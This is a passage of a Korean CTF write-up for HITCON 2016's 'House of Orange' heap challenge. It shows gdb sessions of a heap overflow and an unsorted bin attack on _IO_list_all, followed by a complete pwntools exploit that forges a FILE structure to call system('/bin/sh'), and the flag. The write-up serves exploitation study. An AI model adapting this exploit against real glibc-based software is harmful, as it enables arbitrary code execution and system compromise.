gdb-peda$ c
3
Length of name :2048
Name:
Breakpoint 5, 0x0000555555555119 in ?? ()
gdb-peda$ i r rdi
rdi            0x5555557580d0        0x5555557580d0
gdb-peda$ p main_arena.bins[0]
$8 = (mchunkptr) 0x5555557584f0
gdb-peda$ p main_arena.bins[1]
$9 = (mchunkptr) 0x5555557584f0
gdb-peda$ p/d 0x5555557584f0 - 0x5555557580d0
$10 = 1056
gdb-peda$ x/8gx 0x5555557580d0 + 1040
0x5555557584e0:        0x00000023000001f4        0x0000000000000000
0x5555557584f0:        0x0000000000000000        0x0000000000000af1
0x555555758500:        0x00007ffff7dd1b78        0x00007ffff7dd1b78
0x555555758510:        0x0000000000000000        0x0000000000000000
gdb-peda$ c
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Breakpoint 4, 0x000055555555511e in ?? ()
gdb-peda$ x/8gx 0x5555557580d0 + 1040
0x5555557584e0:        0x4141414141414141        0x4141414141414141
0x5555557584f0:        0x4242424242424242        0x4242424242424242
0x555555758500:        0x4242424242424242        0x4242424242424242
0x555555758510:        0x0000000000000000        0x0000000000000000
gdb-peda$
```

- **입력값을 이용해 아래와 같이 영역의 값을 변경합니다.**
  - freechunk→prev_size = "/bin/sh"
  - freechunk→size = 0x61
  - freechunk→fd = "임의의 값"
  - freechunk→bk = "_IO_list_all" 주소 - 0x10

Set the Fake chunk

```
Breakpoint 4, 0x000055555555511e in ?? ()
gdb-peda$ set *0x5555557584f0 = 0x6E69622F
gdb-peda$ set *0x5555557584f4 = 0x0068732F
gdb-peda$ set *0x5555557584f8 = 0x61
gdb-peda$ set *0x5555557584fc = 0x0

gdb-peda$ p &_IO_list_all
$1 = (struct _IO_FILE_plus **) 0x7ffff7dd2520 <_IO_list_all>
gdb-peda$ p/x 0x7ffff7dd2520 - 0x10
$2 = 0x7ffff7dd2510
gdb-peda$ x/4gx 0x7ffff7dd2510
0x7ffff7dd2510:        0x0000000000000000        0x0000000000000000
0x7ffff7dd2520 <_IO_list_all>:        0x00007ffff7dd2540        0x0000000000000000
gdb-peda$ set *0x555555758508 = 0xf7dd2510
gdb-peda$ set *0x55555575850c = 0x7fff
gdb-peda$ set *0x555555758500 = 0xAAAA
gdb-peda$ set *0x555555758504 = 0x0
gdb-peda$ x/8gx 0x5555557580d0 + 1040
0x5555557584e0:        0x4141414141414141        0x4141414141414141
0x5555557584f0:        0x0068732f6e69622f        0x0000000000000061
0x555555758500:        0x000000000000aaaa        0x00007ffff7dd2510
0x555555758510:        0x000000000000000a        0x0000000000000000
gdb-peda$
```

- 다음과 같이 "Build the house" 기능을 실행 하면 변경된 Unsorted chunk 에 의해 "_IO_list_all"의 값이 변경됩니다. (Unsorted bin attack)
  - "_IO_list_all"에 저장된 값은 main_arena.top 영역의 주소 값 입니다.
  - 에러가 출력되지만 해당 취약성을 이용해 충분히 shell을 획득할 수 있습니다.

Unsorted bin attack

```
gdb-peda$ c
Continuing.
Price of Orange: 700
++++++++++++++++++++++++++++++++++++
 1. Red
 2. Green
 3. Yellow
 4. Blue
 5. Purple
 6. Cyan
 7. White
++++++++++++++++++++++++++++++++++++
Color of Orange: 7
Finish
++++++++++++++++++++++++++++++++++++
@          House of Orange          @
++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
++++++++++++++++++++++++++++++++++++
Your choice : 1
*** Error in `/home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange': malloc(): memory corruption:
0x00007ffff7dd2520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7ffff7a847e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7ffff7a8f13e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7ffff7a91184]
/home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange(+0xd6d)[0x555555554d6d]
/home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange(+0x1402)[0x555555555402]
```

```
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7ffff7a2d830]
/home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange(+0xb19)[0x555555554b19]
======= Memory map: ========
555555554000-555555557000 r-xp 00000000 08:01 139888                     /home/lazenca0x0/CTF/HITCON
/houseoforange/houseoforange
555555756000-555555757000 r--p 00002000 08:01 139888                     /home/lazenca0x0/CTF/HITCON
/houseoforange/houseoforange
555555757000-555555758000 rw-p 00003000 08:01 139888                     /home/lazenca0x0/CTF/HITCON
/houseoforange/houseoforange
555555758000-55555579b000 rw-p 00000000 00:00 0                          [heap]
7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0
7ffff0021000-7ffff4000000 ---p 00000000 00:00 0
7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7fd5000-7ffff7fd8000 rw-p 00000000 00:00 0
7ffff7ff5000-7ffff7ff8000 rw-p 00000000 00:00 0
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0                          [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

Program received signal SIGABRT, Aborted.
Stopped reason: SIGABRT
0x00007ffff7a42428 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54
54        ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
gdb-peda$ x/4gx 0x7ffff7dd2510
0x7ffff7dd2510:        0x0000000000000000        0x0000000000000000
0x7ffff7dd2520 <_IO_list_all>:        0x00007ffff7dd1b78        0x0000000000000000
gdb-peda$ p &main_arena.top
$14 = (mchunkptr *) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$
gdb-peda$ x/gx 0x00007ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>:        0x000055555577a010
gdb-peda$
```

- HouseOfOrange에 대한 자세한 설명은 아래 페이지를 참조하세요

> Page
>
> House of Orange[Korean]

Exploit Code

Exploit.py

```
from pwn import *

p = process('./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def Build(len,name):
    p.recvuntil('Your choice : ')
    p.sendline('1')
    p.recvuntil('Length of name :')
    p.sendline(str(len))
    p.recvuntil('Name :')
    p.sendline(name)
```

```
    p.recvuntil('Price of Orange:')
    p.sendline(str(100))
    p.recvuntil('Color of Orange:')
    p.sendline(str(1))

def See():
    p.recvuntil('Your choice : ')
    p.sendline('2')
    tmp = p.recvuntil('Price')
    data = (tmp.split('\n')[1]).ljust(8,'\x00')
    return data

def Upgrade(len,name):
    p.recvuntil('Your choice : ')
    p.sendline('3')
    p.recvuntil('Length of name :')
    p.sendline(str(len))
    p.recvuntil('Name:')
    p.sendline(name)
    p.recvuntil('Price of Orange:')
    p.sendline(str(200))
    p.recvuntil('Color of Orange:')
    p.sendline(str(2))

Build(128,'HEAP')

#Change top size
payload = 'A' * 144
payload += p32(0xDEAD) + p32(0x20) + p64(0)
payload += p64(0) + p64(0xf31)
Upgrade(177,payload)

Build(4096,"HEAP")

#Leak Libc Address
Build(1024,"LEAKADD")
leakLibcAddr = u64(See())
libcAddrBase = leakLibcAddr - 0x3c5188
log.info('Leak Libc Addr : ' + hex(leakLibcAddr))
log.info('Leak Liba Addr Base : ' + hex(libcAddrBase))

#Leak Heap Address
Upgrade(1024,'B'*15)
leakHeapAddr = u64(See())
leakHeapAddr -= 0x130
log.info('Leak Heap Addr : ' + hex(leakHeapAddr))

#Payload Info
io_list_all = libcAddrBase + libc.symbols['_IO_list_all']
system = libcAddrBase + libc.symbols['system']
vtable = leakHeapAddr + 0x658

log.info('io_list_all : ' + hex(io_list_all))
log.info('system : ' + hex(system))
log.info('vtable : ' + hex(vtable))

payload = "C" * 1056

#Write to "Fake struct _IO_FILE_plus", " Fake struct _IO_wide_data"
stream = "/bin/sh\x00" + p64(0x61)
stream += p64(0xddaa) + p64(io_list_all-0x10)
stream = stream.ljust(0xa0,"\x00")
stream += p64(leakHeapAddr+0x700-0xd0)
stream = stream.ljust(0xc0,"\x00")
stream += p64(1)

payload += stream
payload += p64(0)*2
payload += p64(vtable)
payload += p64(1)
payload += p64(2)
```

```
payload += p64(3)
payload += p64(0)*3
payload += p64(system)

Upgrade(2048,payload)

p.recvuntil(":")
p.sendline("1")

p.interactive()
```

Flag

Flag	hitcon{Y0ur_4r3_the_g0d_of_h34p_4nd_Or4ng3_is_s0_4ngry}

Related Site

- http://4ngelboy.blogspot.jp/2016/10/hitcon-ctf-qual-2016-house-of-orange.html